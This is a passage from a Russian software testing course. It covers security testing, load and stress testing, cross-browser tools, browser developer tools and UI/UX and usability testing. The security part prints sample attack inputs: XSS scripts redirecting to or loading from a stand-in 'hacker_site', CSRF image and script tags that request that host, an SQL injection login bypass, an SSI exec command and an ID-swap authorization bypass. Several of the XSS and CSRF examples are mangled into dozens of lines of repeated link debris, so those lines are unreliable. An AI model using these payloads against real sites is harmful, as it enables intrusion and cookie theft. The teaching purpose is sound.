Приведем примеры тестирования ПО на предмет уязвимости в системе безопасности.

Для этого Вам необходимо проверить Ваше программное обеспечение на наличия
известных видов уязвимостей:
XSS (Cross-Site Scripting)
Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут
попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более
серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего
навсего разместив вредоносный скрипт у вас на сайте. В качестве примера можно
рассмотреть следующий скрипт, выводящий на экран ваши куки:
<script>alert(document.cookie);</script>
либо скрипт делающий редирект на зараженную страницу:
<script>window.parent.location.href='[[[[[[[http://hacker\_site';</script&gt\]\
(http://hacker\_site\]$http://hacker\_site\]\(http://hacker\_site\]\
(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_site$';\[/script&gt\]\
(http://hacker\_site\]$http://hacker\_site$';</script>\\]$\[http://hacker\\_site\$';</script>\\]\
(http://hacker\_site\)';</script\]$/script&gt\]\(http://hacker\_site\]\(http://hacker\_site$';
</script>\]$\[http://hacker\_site$';</script>\]$http://hacker\_site$';</script>\]$';</script$\)\]\
(http://hacker\_site\]$http://hacker\_site/script&gt\]\(http://hacker\_site\]\(http://hacker\_site\]\
(http://hacker\_site\]\(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\_site\]\
(http://hacker\_site$';\[/script&gt\]$http://hacker\_site\]\(http://hacker\_site$';
</script';http://hacker\_site\)http://hacker\_site\)\]$\[/script\]\(/script&gt\]\(http://hacker\_site\]\
(http://hacker\_site$';</scripthttp://hacker\_site\)';</script>\]\
(http://hacker\_site\)http://hacker\_site\)';\[/script&gt\]$http://hacker\_site\]\
(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_sitehttp://hacker\_site\]\
(http://hacker\_site\]\(http://hacker\_site$';\[/script&gt\]$http://hacker\_site\]\
(http://hacker\_site$';</script\]$/script&gt\]\(http://hacker\_site\]\(http://hacker\_site\]\
(http://hacker\_site\]\(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\_site\]\
(http://hacker\_site$';\[/script&gt\]$http://hacker\_site\]\
186
(http://hacker\_site$';http://hacker\_site\)http://hacker\_site\)\]$\[http://hacker\_site\]\
(http://hacker\_site$';</script\]$/script\]\(/script&gt\]\(http://hacker\_site\]\
(http://hacker\_site$http://hacker\_site\)';</script>\]$http://hacker\_site$';</script>\]$';
</script$\)\]$';</script$\]$\[';</script>\]\(';\[/script\]\(/script>\]\(';</script$\]$\[';</script>\]\(';
</script>\]\(';</script$\)\)\\]
(http://hacker_site';/script&gt]%28http://hacker_site]%28http://hacker_site]%28http://hacker_
site]%28http://hacker_sitehttp://hacker_site]%28http://hacker_site]%28http://hacker_site%29
';[/script&gt]%28http://hacker_site]%28http://hacker_site%29';
</script]%28[http://hacker\_site\%29';
</script>]%28http://hacker_site%29';/script]%28/script&gt]%28http://hacker_site]%28http://h
acker_site%29';</script]%28[http://hacker_site%29';</script>]%28http://hacker_site%29';
</script>]%28';/script%29%29]%28http://hacker_site]%28http://hacker_site/script&gt]%28htt
p://hacker_site]%28http://hacker_site]%28http://hacker_site]%28http://hacker_sitehttp://hack
er_site]%28http://hacker_site]%28http://hacker_site%29';
[/script&gt]%28http://hacker_site]%28http://hacker_site%29';
</script';http://hacker_site%29http://hacker_site%29]%28[/script]%28/script&gt]%28http://ha
cker_site]%28http://hacker_site%29';</scripthttp://hacker_site%29';
</script]%28http://hacker_site%29http://hacker_site%29';
[/script&gt]%28http://hacker_site]%28http://hacker_site]%28http://hacker_site]%28http://hac
ker_sitehttp://hacker_site]%28http://hacker_site]%28http://hacker_site%29';
[/script&gt]%28http://hacker_site]%28http://hacker_site%29';/script]%28/script&gt]%28http://
hacker_site]%28http://hacker_site]%28http://hacker_site]%28http://hacker_sitehttp://hacker_
site]%28http://hacker_site]%28http://hacker_site%29';
[/script&gt]%28http://hacker_site]%28http://hacker_site%29';http://hacker_site%29http://hack
er_site%29]%28[http://hacker_site]%28http://hacker_site%29';
</script]%28/script]%28/script&gt]%28http://hacker_site]%28http://hacker_site%29http://hac
ker_site%29';</script]%28http://hacker_site%29';</script>]%28';</script%29%29]%28';
</script%29]%28[';</script>]%28';[/script]%28/script>]%28';</script%29]%28[';</script>]%28';
</script>]%28';</script%29%29%29\));
либо создающий вредоносный объект с вирусом и т.п.:
<object type="text/x-scriptlet" data="[[[[[[[http://hacker\_site"></object&gt\]\

(http://hacker\_site">\]$http://hacker\_site">\]\(http://hacker\_site">\]\
(http://hacker\_site">/object&gt\]\(http://hacker\_site"http://hacker\_site">\]\
(http://hacker\_site">$\[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\]\
(\[http://hacker\_site">\)\[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\
(http://hacker\_site"$\)</object>\]$http://hacker\_site">$\[/object&gt\]$http://hacker\_site"\]\
(/object&gt\]\(http://hacker\_site"$\)\]$</object>$\]$http://hacker\_site">\]\
(http://hacker\_site">/object&gt\]\(http://hacker\_site"http://hacker\_site">\]\
(http://hacker\_site">\]\(http://hacker\_site">/object&gt\]\
187
(http://hacker\_site"http://hacker\_site">\]\(http://hacker\_site">$\[/object&gt\]\
(http://hacker\_site"\]$/object&gt\]\(http://hacker\_site"$\]$\[http://hacker\_site">$\
[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\)http://hacker\_site">\)\
[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\)\]$\]\
(http://hacker\_site">$\[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\]\
(\[http://hacker\_site">\]$http://hacker\_site">\]\(http://hacker\_site">/object&gt\]\
[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\)\]\
(http://hacker\_site">\]$http://hacker\_site">\]\(http://hacker\_site">/object&gt\]\
[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"$\)\)</object>\]$\
[http://hacker\_site">$\[/object&gt\]$http://hacker\_site"\]\(/object&gt\]\
(http://hacker\_site"$\)\]$\]\(http://hacker\_site">$\[/object&gt\]$http://hacker\_site"\]\
(/object&gt\]\(http://hacker\_site"$\)\]</object>\)\)\</object>\]$</object>$\]\(\\]
(http://hacker_site">/object&gt]%28http://hacker_site"]%28http://hacker_site">]%28http://hac
ker_site">]%28http://hacker_site">/object&gt]%28http://hacker_site"http://hacker_site">]%28
http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%28http://hacker_
site"%29]%28[http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%2
8http://hacker_site"%29%29</object>]%28http://hacker_site">%29[/object&gt]%28http://hac
ker_site"]%28/object&gt]%28http://hacker_site"%29%29]%28</object>%29]%28http://hacke
r_site">]%28http://hacker_site">/object&gt]%28http://hacker_site"http://hacker_site">]%28htt
p://hacker_site">]%28http://hacker_site">/object&gt]%28http://hacker_site"http://hacker_site"
>]%28http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%28http://h
acker_site"%29]%28[http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&
gt]%28http://hacker_site"%29%29http://hacker_site">%29[/object&gt]%28http://hacker_site"]
%28/object&gt]%28http://hacker_site"%29%29]%28]%28http://hacker_site">%29[/object&gt]
%28http://hacker_site"]%28/object&gt]%28http://hacker_site"%29]%28[http://hacker_site">]
%28http://hacker_site">]%28http://hacker_site">/object&gt]%28http://hacker_site"http://hack
er_site">]%28http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%28
http://hacker_site"%29]%28[http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/
object&gt]%28http://hacker_site"%29%29]%28http://hacker_site">]%28http://hacker_site">]
%28http://hacker_site">/object&gt]%28http://hacker_site"http://hacker_site">]%28http://hack
er_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%28http://hacker_site"%29]
%28[http://hacker_site">%29[/object&gt]%28http://hacker_site"]%28/object&gt]%28http://hac
ker_site"%29%29%29</object>]%28[http://hacker_site">%29[/object&gt]%28http://hacker_si
te"]%28/object&gt]%28http://hacker_site"%29%29]%28]%28http://hacker_site">%29[/object
&gt]%28http://hacker_site"]%28/object&gt]%28http://hacker_site"%29%29]%28%29</object
>%29%29\</object>]%28</object>%29]%28\));
188
Для просмотра большего количества примеров рекомендуем посетить страничку: XSS

(Cross Site Scripting)...
XSRF / CSRF (Request Forgery)
Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или
Javascript объект image. Чаще всего, атакующий добавляет необходимый код в
электронное письмо или выкладывает на веб-сайт таким образом, что, при загрузке
страницы осуществляется запрос, выполняющий вредоносный код. Примеры:
IMG SRC
<img src="[[[[[[http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt))](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt)))\](http://hacker_site/?command"&gt]
command"&gt)](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt))](http://hacker_site/?
(http://hacker_site/?command"&gt)](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)))\)]
command"&gt](http://hacker_site/?command"&gt)](http://hacker_site/?command"&gt]
command"&gt))](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt)))](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt))](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)))))\\);
SCRIPT SRC
189
<script src="[[[[[[http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt))](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt)))\](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt))](http://hacker_site/?
(http://hacker_site/?command"&gt)](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)))\)]
command"&gt](http://hacker_site/?command"&gt)](http://hacker_site/?command"&gt]
command"&gt))](http://hacker_site/?command"&gt](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt)))](http://hacker_site/?command"&gt](http://hacker_site/?
command"&gt](http://hacker_site/?command"&gt))](http://hacker_site/?command"&gt]
(http://hacker_site/?command"&gt](http://hacker_site/?command"&gt)))))\\);
Javascript объект Image
<
script
>
var foo = new Image();

foo.src = "http://hacker_site/?command";
<
/script
>
Code injections (SQL, PHP, ASP и т.д.)
Вставки исполняемого кода рассмотрим на примере кода SQL.
190
Форма входа в систему имеет 2 поля имя и пароль. Обработка происходит в базе
данных через выполнение SQL запроса:
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass';
Вводим корректное имя ’tester’, а в поле пароль вводим строку:
testpass' OR '1'='1
В итоге, если поле не имеет соответствующих валидаций или обработчиков данных,

может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему,
т.к.SQL запрос примет следующий вид:
SELECT Username
FROM Users
WHERE Name = 'tester'
AND Password = 'testpass' OR '1'='1';
Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать
много значений.
Server-Side Includes (SSI) Injection
В зависимости от типа операционной системы ,команды могут быть разными, в

качестве примера рассмотрим команду, которая выводит на экран список файлов в OS
Linux:
< !--#exec cmd="ls" -->
Authorization Bypass
Пользователь А может получить доступ к документам пользователя Б. Допустим, есть

реализация, где, при просмотре своего профиля, содержащего конфеденциальную
информацию, в URL страницы передается userID, в данном случае, есть смысл
попробовать подставить вместо своего userID номер другого пользователя. И если Вы
увидите его данные, значит Вы нашли дефект.
Вывод
Примеров уязвимостей и атак существует огромное количество. Даже проведя полный

цикл тестирования безопасности, нельзя быть на 100% уверенным, что система по-
настоящему обезопасена. Но можно быть уверенным в том, что процент
191
несанкционированных проникновений, краж информации и потерь данных будет в

разы меньше, чем у тех, кто не проводил тестирования безопасности.
С развитием сетевых технологий и интернета взаимодействие разных систем,

сервисов и приложений друг с другом приобрело значительную актуальность, так как
любые связанные с этим проблемы могут привести к падению авторитета компании,
что, как следствие ,повлечет за собой финансовые потери. Поэтому, к тестированию
взаимодействия стоит подходить со всей серьезностью.
Нагрузочное тестирование или тестирование производительности - это

автоматизированное тестирование, имитирующее работу определенного количества
бизнес пользователей на каком-либо общем (разделяемом ими) ресурсе.
Основные виды нагрузочного тестирования

Тестирование производительности (Performance testing)
Задачей тестирования производительности является определение масштабируемости

приложения под нагрузкой, при этом происходит:

Определение количества пользователей одновременно работающих с
Определение границ приемлемой производительности при увеличении нагрузки
(при увеличении интенсивности выполнения этих операций).
Исследование производительности на высоких, предельных, стрессовых
нагрузках.
Стрессовое тестирование (Stress Testing)
Стрессовое тестирование позволяет проверить, насколько приложение и система в

целом работоспособны в условиях стресса и также оценить способность системы к
регенерации, т.е. к возвращению к нормальному состоянию после прекращения
воздействия стресса. Стрессом, в данном контексте, может быть повышение
интенсивности выполнения операций до очень высоких значений или аварийное
изменение конфигурации сервера. Также одной из задач при стрессовом тестировании
может быть оценка деградации производительности, таким образом, цели стрессового
тестирования могут пересекаться с целями тестирования производительности.
Объемное тестирование (Volume Testing)
192
Задачей объемного тестирования является получение оценки производительности при

увеличении объемов данных в базе данных приложения, при этом происходит:

Может производиться определение количества пользователей одновременно
работающих с приложением.
Тестирование стабильности или надежности (Stability / Reliability Testing)
Задачей тестирования стабильности (надежности) является проверка

работоспособности приложения при длительном (многочасовом) тестировании со
средним уровнем нагрузки. Время выполнения операций может играть в данном виде
тестирования второстепенную роль. При этом, на первое место выходит отсутствие
утечек памяти, перезапусков серверов под нагрузкой и другие аспекты влияющие
именно на стабильность работы.
Инструментом для проведения нагрузочного тестирования является Apache Jmeter.
Кросс-браузерное тестирование
Кросс-браузерное тестирование представляет собой процесс тестирования веб-
приложений в нескольких браузерах.
В настоящее время пользователи имеют широкий выбор браузеров для доступа к веб-
приложениям, поэтому в современных условиях стало крайне важным выполнять
кросс-браузерное тестирование. В разных браузерах компоненты приложений могут
вести себя по-разному.
Такое поведение приложения может быть вызвано рядом факторов:
Разработанное веб-приложение может быть не адаптивно под тот или иной

браузер или его версию.
Неверно были применены стандарты, по которым разрабатывается сам браузер.
Были допущены ошибки при разработке браузера.
У пользователя установлен какой-либо плагин или надстройка, вызывающие
ошибки веб-приложения.
Из-за разной работы браузеров или ошибок, допущенных в нем, могут возникать
дефекты в Вашем продукте. Часто встречающиеся дефекты:
Верстка.
193
Наиболее распространенная ошибка в различных браузерах. Разработчики часто

создают приложение и проверяют его в одном, наиболее удобном дня них, браузере.
Но у пользователей может быть установлена другая версия браузера, в котором
«красивая картинка» разработчика может выглядеть совсем некрасиво у пользователя.
Такие ошибки чаще всего не являются критичными, но неприятное впечатление о
вашем продукте могут оставить.
Навигация.
Бывают ситуации, когда в одном из браузеров ссылка не работает, как было

запланировано, либо не работает вовсе. Такие ошибки могут негативно отразиться на
Вашем продукте. Когда клиент не находит нужный раздел или не может перейти на
другую страницу, чтобы завершить действие, это доставляет неудобства и раздражает.
Как результат – потеря клиента.
Ошибки JavaScript.
Такие ошибки имеют высокий приоритет. Неработоспособность JavaScript в одном из

браузеров может привести к потере заказа, клиента, или к потере документа,
например, если у вас система электронного документооборота; к невозможности
создания заявки, если у вас система заявок и т.д.
Десктопные браузеры:
Chrome
Firefox
IE
Safari
Edge
Opera
Мобильные браузеры:
Chrome
Safari
UC Browser
Opera
Samsung Internet
Android
194
Движки браузеров:
Trident - проприетарный движок Microsoft Internet Explorer.
Gecko - открытый движок проекте MozillaFirefox.
KHTML - разработан в рамках проекта KDE, послужил основой для WebKit.
WebKit - движок для браузера Apple Safari и Google Chrome.
Presto - проприетарный движок для браузера Opera до перехода на Blink.
Blink - движок браузера Google Chrome с 28 версии и Opera c 15 версии. Является

ответвлением WebKit.
Edge - новый движок от компании Microsoft для браузера Microsoft Edge. Является
ответвлением Trident.
Инструменты для кросс-браузерного тестирования:
1.Browsershots - это простой бесплатный инструмент, но его функционал мало чем

уступает его платным конкурентам. Благодаря Browsershots можно получить скриншот
того, как сайт будет выглядеть в каждом конкретном случае. В распоряжении
гигантский список поддерживаемых браузеров, а также возможность выбрать размер
экрана, насыщенность цветов, включить и выключить JavaScript (Вы можете указать
конкретную версию JavaScript) Java и Flash.
2. Browser Sandbox будет полезным только для пользователей Windows. Он имеет

большой список поддерживаемых браузеров, который включает IE, Firefox, Chrome,
ChromiumCanary, Firefox Mobile, Safari, Opera, и FirefoxNightly.
3. Netrenderer - инструмент для проверки приложения на разных версиях IE от 5.5 до

11.
4. Microsoft Edge - это целая платформа для тестирования сайта в IE. Microsoft Edge
предоставляет виртуальную машину только для тестирования в IE7 и новее.
5. Browsera - многофункциональный инструмент, который позволяет тестировать не

только кроссбраузерность макета, но и работоспособность скриптов в разных
ситуациях, отображение динамических страниц, степень защищенности сайта и т.д.
6. Cross Browser Testing - использует реальные устройства для тестирования сайта.

Cross Browser Testing включает большой список поддерживаемых браузеров (около
900) и операционных систем (около 40), включая iOS, Android,Windows, Mac и другие.
Еще одна отличительная особенность - режим live testing , в котором можно
195
тестировать свой сайт в реальном окружении, получая возможность проверить

работоспособность AJAX, HTML-форм, JavaScript, Flash и всего остального. Кроме
того, представлена возможность автоматизации тестов и сравнения скриншотов.
7. Browser Stack - использует реальные устройства для тестирования и поддерживает

700+ браузеров. Существует возможность локального тестирования и быстрого
получения скриншотов на разных разрешениях экранов от 800х600 до 2048х1536.
196
Инструменты разработчика
197
Инструменты разработки позволяют:
Просматривать элементы соответствующие определённому HTML коду (например,

какой-нибудь заголовок).
Получить общий CSS используемый на странице и какой CSS применяется к
элементу.
Модифицировать CSS в реальном времени и визуально увидеть ваши изменения
в браузере.
Увидеть HTTP запросы, производимые браузером.
Запускать JavaScript код в середине содержимого страницы.
Определять узкие места в производительности и производить её измерение.
Изменять ресурсы оффлайн, чтобы понять какие данные, что запрашивает
страница, хранятся локально.
Инструменты разработчика можно открыть с помощью кнопки F12 или

"Дополнительные инструменты ➤ Инструменты разработчика". Также можно правой
кнопкой мыши выбрать "Исследовать элемент в контекстном меню".
Инспектор - позволяет видеть HTML-код и CSS, который применён к каждому

элементу на странице. Также позволяет в реальном времени редактировать как HTML,
так и CSS. Внесённые изменения можно увидеть непосредственно в окне браузера.
Консоль - инструмент, где выводятся сообщения и ошибки JavaScript, CSS и другие.

Она позволяет загружать JavaScript вопреки порядку загрузки скрипта в браузере и
докладывает об ошибках, как только браузер пытается выполнить Ваш код.
198
Отладчик JavaScript - инструмент для отладки JavaScript, если он не работает, как

ожидалось. Он позволяет Вам загружать JavaScript вопреки порядку загрузки скрипта в
браузере и докладывает об ошибках, как только браузер пытается выполнить код.
Сеть - записывает и отображает сетевые запросы в любое время, когда панель

инструментов открыта, даже если сам монитор сети не выбран. Отображает запросы,
методы, статус коды, объем данных.
199
Заголовки - перечислены основные сведения о запросе, в том числе:
URL-адрес запроса.
Метод запроса.
Удаленный IP-адрес и порт.
Код состояния.
HTTP-запросы и заголовки ответов, которые были отправлены.
Куки - перечислены все сведения о любых файлах cookie, отправленных с запросом

или ответом.
200
Параметры - перечислены все параметры отправленные с запросом.
Ответ - отображается ответ пришедший на запрос в определенном формате данных.
201
Тайминги - представлен более подробный аннотированный вид временной шкалы для

каждого запроса, показывающий время выполнения.
Режим адаптивного дизайна - позволяет проверить сайт при разных разрешениях и

сделать скриншот.
202
Лекция 7, ч.1. Тестирование UI и верстки
Тестирование UI и верстки
UI (user interface — пользовательский интерфейс) — является точкой
взаимодействия человека и продукта. Дизайн кнопок, полей ввода и т.д. — это место,
где пользователь взаимодействует с системой. Таким образом, Вы можете сравнить UI
с рулем, педалями и приборной панелью автомобиля. Они используются для
управления автомобилем так же, как приложение использует UI (пользовательский
интерфейс) для управления системой. Короче говоря, дизайн пользовательского
интерфейса (UI) — это дизайн точек взаимодействия, через которые пользователь
может взаимодействовать с системой.
Тестирование интерфейса пользователя осуществляется вместе со следующими

видами тестирования (UI):
1. Тестирование на соответствие стандартам графических интерфейсов.

2. Тестирование с различными разрешениями экрана.
3. Тестирование кроссбраузерности или совместимости с разными интернет
браузерами и их версиями.
4. Тестирование локализованных версий: точность перевода (мультиязычность,
мультивалютность), проверка длины названий элементов интерфейса и т.д..
5. Тестирование графического интерфейса пользователя на целевых устройствах
(смартфоны, кпп, планшеты).
Основные элементы графического интерфейса:
203
Окно (окно браузера, диалоговое окно, модальное окно, плавающее окно).

Меню (главное, всплывающее, контекстное, системное).
Виджеты/элементы управления/контролы (аккордеон, кнопка, радио-кнопка, чек-
бокс, значок (иконка), список, панель инструментов, дерево, полоса прокрутки,
ползунок, строка состояния, тултип (подсказка) и др.).
Вкладка.
Элементы взаимодействия: курсор мыши, текстовый курсор, поинтер (“ладошка”),
курсор перетаскивания и др.
Более детально ознакомиться с элементами графического интерфейса можно здесь.
Основные проверки при тестировании UI:
Расположение, размер, цвет, ширина, длина элементов; возможность ввода букв

или цифр.
Реализуется ли функционал приложения с помощью графических элементов.
размещение всех сообщений об ошибках, уведомленией (а также шрифт, цвет,
размер, расположение и орфография текста).
Читабелен ли использованный шрифт.
Переходит ли курсор из текстового в поинтер при наведении на активные
элементы, выделяются ли выбранные элементы.
Выравнивание текста и форм.
Качество изображений.
Проверить расположение и отображение всех элементов при различных
разрешениях экрана, а также при изменении размера окна браузера (проверить,
появляется ли скролл).
Проверить текст на орфографические, пунктуационные ошибки.
Появляются ли тултипы (если есть необходимость).
Унификация дизайна (цвета, шрифты, текст сообщений, названия кнопок и т.д.).
Тестирование Pixel Perfect - проверка точного (пиксель в пикcель) соответствия

сверстанного HTML-шаблона оригиналу (PSD-макету). Другими словами, если
наложить “картинку” сверстанного HTML-шаблона на картинку оригинального PSD-
макета, то обе картинки должны совпадать. Совместиться должны все элементы
картинок: текст, изображения, графические элементы.
204
При проектировке качественного UI уделяется внимание не только внешнему виду

интерфейса, но и его логической структуре, чтобы пользователь мог без лишних
усилий, быстро и легко взаимодействовать с ним и добиваться необходимого
результата. Но, чтобы четко понимать, как создать качественный пользовательский
интерфейс для конкретного продукта, необходимо изучать поведение, эмоции и
реакцию пользователей при взаимодействии с данным продуктом, проводить
тестирование, собирать данные. Человек, взаимодействуя с какой-либо системой,
испытывает ощущения и реагирует определенным образом в процессе ее
использования. Это называется опытом взаимодействия, или UX.
User Experience (пользовательский опыт)— ощущение, испытываемое

пользователем во время использования цифрового продукта, в то время как User
interface — это инструмент, позволяющий осуществлять интеракцию «пользователь —
веб-ресурс». UX — это то, что чувствует и запоминает пользователь в результате
использования программы, приложения или сайта. UX учитывается при разработке UI,
создании информационной архитектуры, юзабилити тестировании. Определив
целевую аудиторию и характеристики основного пользователя можно составить список
требований к проекту.
205
Для простоты усвоения разницы между 2 этими понятиями рассмотрим наглядный

пример: предположим, мы едим сэндвич с сыром. Ощущения, получаемые во время
поедания сэндвича, это и есть пользовательский опыт. Ингредиенты, составляющие
наш воображаемый бутерброд (хлеб, майонез, сыр, сливочное масло и т. д.), могут
считаться частью пользовательского интерфейса.
Ощущение, что мы получаем, когда едим бутерброд, можно считать UX, а ингредиенты
сэндвича ассоциируются с UI
206
Сэндвич, сделанный из белого хлеба и сыра и майонеза с высоким содержанием

жиров, на вкус почти также хорош, как бутерброд, состоящий из цельнозернового
хлеба, низкокалорийного майонеза и нежирного сыра. Однако люди, стремящиеся к
здоровому образу жизни, отвергнут первый сэндвич в пользу второго.
Итак, у нас есть хороший интерфейс в обоих случаях, но мы не провели

пользовательское исследование (а это неотъемлемая часть UX), мы не знаем
соотношения пользователей, которые будут/не будут использовать наш продукт, в
результате чего мы теряем весомую часть целевой аудитории.
Процесс проектирования UX включает в себя исследование поведенческих паттернов

и психологических реакций пользователей, разработку информационной архитектуры,
дизайн взаимодействия (interaction design), дизайн пользовательского интерфейса,
интерактивное прототипирование макета (interactive prototyping) и тестирование
юзабилити (usability testing).
Дизайнеры пользовательского интерфейса должны обладать навыками в области

визуального дизайна, иконографики и типографики, однако в перечень их служебных
обязанностей не обязательно входит проведение пользовательских исследований или
построение информационной архитектуры веб-ресурса.
А вот дизайнеры пользовательского опыта должны дополнительно еще и разбираться

в исследованиях целевого рынка, information architecture и дизайне взаимодействий
(что автоматически подразумевает базовое знание поведенческой психологии) и т. д.
Юзабилити (usability) –дословно с английского означает: возможность использования

или полезность. Юзабилити - это больше мера дружелюбности сайта или интерфейса
программы, поскольку оно помогает сделать сайт понятным и естественным для
пользователя.
Тестирование удобства пользования (Usability Testing) - это метод тестирования,

направленный на установление степени удобства использования, обучаемости,
понятности и привлекательности для пользователей разрабатываемого продукта в
контексте заданных условий.
Можно выделить этапы тестирования удобства использования пользовательского

интерфейса:
1.Исследовательское - проводится после формулирования требований и

спецификаций к системе, а также после разработки прототипа интерфейса. Основная
цель на этом этапе - выяснить, позволяет ли он с достаточной степенью
эффективности решать задачи пользователя.
207
2. Оценочное - проводится после разработки низкоуровневых требований и

детализированного прототипа пользовательского интерфейса. Оценочное
тестирование углубляет исследовательское и имеет ту же цель. На данном этапе уже
проводятся количественные измерения характеристик пользовательского интерфейса:
измеряются количество обращений к системе помощи по отношению к количеству
совершенных операций, количество ошибочных операций, время устранения
последствий ошибочных операций и т.п.
3. Валидационное - проводится ближе к этапу завершения разработки. На этом этапе

проводится анализ соответствия интерфейса программной системы стандартам,
регламентирующим вопросы удобства интерфейса, проводится общее тестирование
всех компонентов пользовательского интерфейса (с точки зрения конечного
пользователя). Под компонентами интерфейса здесь понимается как его программная
реализация, так и система помощи и руководство пользователя. Также на данном
этапе проверяется отсутствие дефектов удобства использования интерфейса,
выявленных на предыдущих этапах.
4. Сравнительное- данный вид тестирования может проводиться на любом этапе

разработки интерфейса. В ходе сравнительного тестирования сравниваются два или
более вариантов реализации пользовательского интерфейса.
Из этого следует, что UI-тестирование, предполагает под собой тестирование на

основании требований к внешнему виду пользовательского интерфейса и формам
взаимодействия с пользователем. На какие требования стоит обращать внимание при
UI-тестировании:
Требования к размещению элементов управления на экранных формах.
Требования к содержанию и оформлению выводимых сообщений.
Требования к форматам ввода.
Требования к реакции системы на ввод пользователя.
Требования к времени отклика на команды пользователя.
Важно обращать внимание на:
Простоту использования сайта или интерфейса.
Эффективность использования.
Запоминаемость.
Ошибки, их количество и серьезность.
Удовлетворение пользователя (субъективное).
208
GUI тестирование включает:
Тестирование пользовательского интерфейса (UI) – тестирование,

выполняемое путем взаимодействия с системой через графический интерфейс
пользователя:
навигация;
цвета, графика, оформление;
содержание выводимой информации;
поведение курсора и горячие клавиши;
отображение различного количества данных (нет данных, минимальное и

максимальное количество);
изменение размеров окна или разрешения экрана.
Тестирование удобства использования (Usability Testing) – тестирование с

целью определения степени понятности, легкости в изучении и использовании,
привлекательности программного продукта для пользователя при условии
использования в заданных условиях эксплуатации:
визуальное оформление;
навигация;
логичность.
Compatibility testing (тестирование совместимости) – процесс тестирования для

определения возможности взаимодействия программного продукта, проверка
работоспособности приложения в различных средах (браузеры и их версии,
операционные системы, их типы, версии и разрядность)
Виды тестов:
Кросс-браузерное тестирование (различные браузеры или версии браузеров).

Кросс-платформенное тестирование (различные операционные системы или
версии операционных систем).
Особенности GUI мобильного приложения
209
Опыт взаимодействия пользователя описывается с учетом типа пользователя,

осуществляющего работу с интерфейсом определенного вида. Способ и варианты
взаимодействия зависят от таких факторов, как тип устройства, тип операционной
системы, тип и назначение программного продукта. В связи с этим выделяют стили
пользовательских интерфейсов, которые наиболее популярны при проектировании
информационных систем:
Графический пользовательский интерфейс (GUI).

Пользовательский веб-интерфейс (WUI).
Пользовательский интерфейс мобильных устройств (HUI).
Для каждого из указанных типов интерфейсов существуют стилевые правила

(styleguides), которые являются основой создания единообразных и предсказуемых
интерфейсов. Стилевые правила могут также формулироваться и по отношению к
интерфейсу разрабатываемой системы, регламентируется их соблюдение на всех
этапах разработки.
1. Графический пользовательский интерфейс (GUI)
Графический интерфейс пользователя (Graphical User Interface, GUI) регламентирует

диалог пользователя с ПК посредством экранных графических компонентов.
Такой тип интерфейса, как было описано выше, называется также "полный WIMP-
интерфейс". Элементами интерфейса (элементами управления) становятся
примитивы графического пользовательского интерфейса, имеющие унифицированное
визуальное исполнение и выполняющие стандартные действия. Основополагающим в
графическом пользовательском интерфейсе становится визуализация информации,
т.е. предпочтение в использовании графических элементов вместо текстовой
информации (например, выбор пиктограммы программного приложения вместо поиска
его в списке имеющихся).
2. Пользовательский веб-интерфейс (Vebuserinterface)
Пользовательский веб-интерфейс включает все аспекты веб-сайта или веб-

приложения, относящиеся к информационному наполнению, функциональным
возможностям, навигации, взаимодействию и представлению, которые существенны
для использования веб-приложения или веб-сайта.
Диалог пользователя с веб-интерфейсом возможен через специальную программу,

которая называется браузер. Браузеры — специальное программное обеспечение,
используемое для запроса, обработки, манипулирования и отображения содержания
электронных страниц. Основными элементами взаимодействия являются ссылки,
210
связывающие электронные страницы по сетевому принципу. Важно учитывать

функциональные возможности браузера в работе с электронными страницами и
соотносить с действиями, осуществляемыми пользователями на веб-странице.
Дизайн веб-страниц определяется целями проекта, предоставляемыми

функциональными возможностями, типом информационного содержания и
